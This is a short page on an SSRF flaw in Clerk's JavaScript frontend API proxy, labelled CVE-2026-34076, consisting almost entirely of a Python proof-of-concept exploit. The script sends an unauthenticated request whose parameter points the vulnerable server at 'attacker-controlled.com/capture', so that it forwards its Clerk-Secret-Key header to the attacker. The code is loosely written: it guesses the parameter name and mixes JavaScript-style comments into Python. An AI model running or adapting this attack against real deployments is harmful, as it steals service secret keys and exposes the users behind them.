CVE-2026-34076 Clerk JavaScript SSRF漏洞

// PoC Concept: Triggering the SSRF to leak the secret key // This script demonstrates how an attacker might craft a request // to exploit the vulnerable clerkFrontendApiProxy function. import requests def exploit_ssrf(target_host, attacker_server): # The vulnerable endpoint typically processes paths or query parameters # to determine where to proxy the request. vulnerable_endpoint = f"{target_host}/clerk/frontend_api_proxy" # The payload is the attacker's server URL where the secret key will be sent. # The exact parameter name ('path' or 'url') depends on the implementation. params = { "path": attacker_server } print(f"[*] Sending malicious request to {vulnerable_endpoint}...") try: # Send the request. No authentication is required (PR:N). response = requests.get(vulnerable_endpoint, params=params, timeout=5) # The vulnerable server makes a backend request to 'attacker_server' # including the 'Clerk-Secret-Key' header. print(f"[+] Request sent. Check your server logs at {attacker_server} for the leaked key.") except requests.exceptions.RequestException as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" evil_server = "http://attacker-controlled.com/capture" exploit_ssrf(target, evil_server)